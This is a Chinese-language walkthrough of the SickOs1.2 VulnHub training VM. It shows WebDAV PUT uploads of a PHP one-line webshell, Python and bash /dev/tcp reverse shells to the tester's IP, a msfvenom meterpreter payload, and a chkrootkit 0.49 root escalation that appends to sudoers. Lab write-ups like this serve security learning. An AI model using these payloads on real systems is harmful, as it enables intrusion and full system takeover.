【攻略鴨】SickOs1.2_VulnHub靶機(jī)攻略

測試機(jī)IP地址:192.168.0.111
外部信息收集
獲取靶機(jī)地址
sudo netdiscover -i eth0 -r 192.168.0.1/24
或者
sudo arp-scan -l
記錄靶機(jī)IP地址:192.168.0.105
端口掃描
Nmap結(jié)果:
22/tcp OpenSSH 5.9p1 Debian 5ubuntu1.8
80/tcp lighttpd 1.4.28
網(wǎng)站指紋
$ whatweb http://192.168.0.105/
http://192.168.0.105/ [200 OK] Country[RESERVED][ZZ], HTTPServer[lighttpd/1.4.28], IP[192.168.0.105], PHP[5.3.10-1ubuntu3.21], X-Powered-By[**PHP/5.3.10**-1ubuntu3.21], lighttpd[1.4.28]
目錄枚舉
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.0.105/FUZZ
結(jié)果:test ? ? ?Status: 301
訪問后發(fā)現(xiàn)該目錄文件列表。
HTTP方法探測
$ curl -v -X OPTIONS http://192.168.0.105/test/
* ? Trying 192.168.0.105:80...
* ? Connected to 192.168.0.105 (192.168.0.105) port 80 (#0)
> OPTIONS /test/ HTTP/1.1
> Host: 192.168.0.105
> User-Agent: curl/7.85.0
> Accept: */*
* Mark bundle as not supporting multiuse
?< HTTP/1.1 200 OK
?< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
漏洞利用
PUT上傳
1.curl上傳webshell
上傳無害文件測試:
curl -v -X PUT -d "Testing 12" http://192.168.0.105/test/test.txt
上傳webshell:
curl http://192.168.0.105/test/ -T /home/kali/sickOS/shell.php -v
若返回201表示上傳成功
?。?!注意:發(fā)現(xiàn)返回417報錯。
有個觀點(diǎn)是:通過curl命令上傳本地文件時,由于curl會先發(fā)送一個帶Expect頭的報文,而Lighttpd不支持這個頭,因此無法上傳成功。
經(jīng)驗證,以下兩種方法都可以:
-H:'Expect:'
-0:默認(rèn)自動識別HTTP/x.x添加
curl http://192.168.0.105/test/ -T /home/kali/sickOS/shell.php -v -0
curl http://192.168.0.105/test/ -T /home/kali/sickOS/shell2.php -v -H 'Expect:'
2.BurpSuite上傳PHP一句話
開啟BurpSuite修改GET請求包
PUT /test/2.php HTTP/1.1
<?php system($_GET["cmd"])?>
返回:
HTTP/1.1 201 Created
利用PHP一句話和python反彈shell
http://192.168.0.105/test/2.php?cmd=id
http://192.168.0.105/test/2.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.111",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
?。?!注意:反彈shell時測試機(jī)端口僅能用443和8080,靶機(jī)防火墻僅允許了常見的Web端口。
3.nmap上傳reverse shell
修改/usr/share/webshells/php/php-reverse-shell.php配置IP及測試機(jī)端口443,上傳至靶機(jī)。
nmap -p80 192.168.0.105 --script http-put --script-args http-put.url='/test/shell2.php',http-put.file='/home/kali/sickOS/shell2.php'
訪問后使用測試機(jī):
nc -nvlp 443
echo $-
python -c 'import pty;pty.spawn("/bin/bash")'
4.MSF
msfvenom -p php/meterpreter/reverse tcp lhost=192.168.0.111 lport=443 >shell.php
curl [http://192.168.0.115/test/](http://192.168.0.105/test/) -T /home/kali/sickOS/shell.php -v
msf:
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.0.111
LHOST => 192.168.0.111
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > exploit
meterpreter > shell
python -c 'import pty;pty.spawn("/bin/bash")'
權(quán)限提升
本地信息收集
Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux Ubuntu 12.04.4 LTS
查看計劃任務(wù):
ls -al /etc/cron*
#m h dom mon dow user command
17 * * * * root ? ?cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
/etc/cron.daily中發(fā)現(xiàn)chkrootkit
chkrootkit -V
chkrootkit version 0.49
chkrootkit漏洞
搜索漏洞searchsploit chkrootkit -t -w
發(fā)現(xiàn)0.49版本存在提權(quán)漏洞
漏洞原因:file_port="$file_port $i"處$file_port變量可能為空,缺少引號閉合。
修復(fù)建議:file_port="$file_port $i"
漏洞會導(dǎo)致運(yùn)行chkrootkit時,會以運(yùn)行chkrootkit的用戶的權(quán)限執(zhí)行/tmp/update文件
利用漏洞需要/tmp目錄有執(zhí)行權(quán)限。
前面查看過/etc/cron.daily以root權(quán)限運(yùn)行
寫入sudoers文件
將www-data用戶寫入sudoers。
echo 'echo "www-data ? ?ALL=NOPASSWD:ALL" >> /etc/sudoers' > /tmp/update
chmod +x /tmp/update
幾十秒后發(fā)現(xiàn)提權(quán)成功。
?。?!注意:計劃任務(wù)配置中看到/etc/cron.daily每天早晨6:25執(zhí)行,但結(jié)合/etc/cron.daily/chkrootkit、/etc/chkrootkit.conf可知/etc/cron.daily/chkrootkit并不會執(zhí)行,在獲取root權(quán)限后,查看/etc/cron.d:
cat /etc/cron.d/chkrootkit
* * * * * root /usr/sbin/chkrootkit
看到每分鐘執(zhí)行一次。
反彈root權(quán)限shell
$ nc -nvlp 8080 www-data@ubuntu:/tmp$ printf '#!/bin/bash\nbash -i >& /dev/tcp/192.168.0.111/8080 0>&1\n' > /tmp/update www-data@ubuntu:/tmp$ cat update #!/bin/bash bash -i >& /dev/tcp/192.168.0.111/8080 0>&1 www-data@ubuntu:/tmp$ chmod +x update
幾十秒后發(fā)現(xiàn)提權(quán)成功。
其他
防火墻規(guī)則
root@ubuntu:~# cat newRule
#Generated by iptables-save v1.4.12 on Mon Apr 25 22:48:24 2016
*filter
:INPUT DROP [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT DROP [0:0]
-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 8080 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 443 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 22 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 80 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 8080 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 443 -j ACCEPT
COMMIT
過濾規(guī)則:
對于入站流量:只接收目的端口22、80,源端口8080、443
對于出站流量:只接收源端口22、80,目的端口8080、443
即:本地端口只允許22和80,外來端口只允許8080和443,用來保證對外部HTTP(s)服務(wù)的正常訪問
flag
root@ubuntu:~# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
疑問求助
1.求個探測防火墻允許哪些外來端口的腳本;
2.我內(nèi)核版本提權(quán)失敗了,可以成功的朋友麻煩留言交流。
本文未經(jīng)作者同意禁止轉(zhuǎn)載!
文中所涉及的技術(shù)、思路和工具僅供以安全為目的的學(xué)習(xí)交流使用,任何人不得將其用于非法用途以及盈利等目的,否則后果自行承擔(dān)!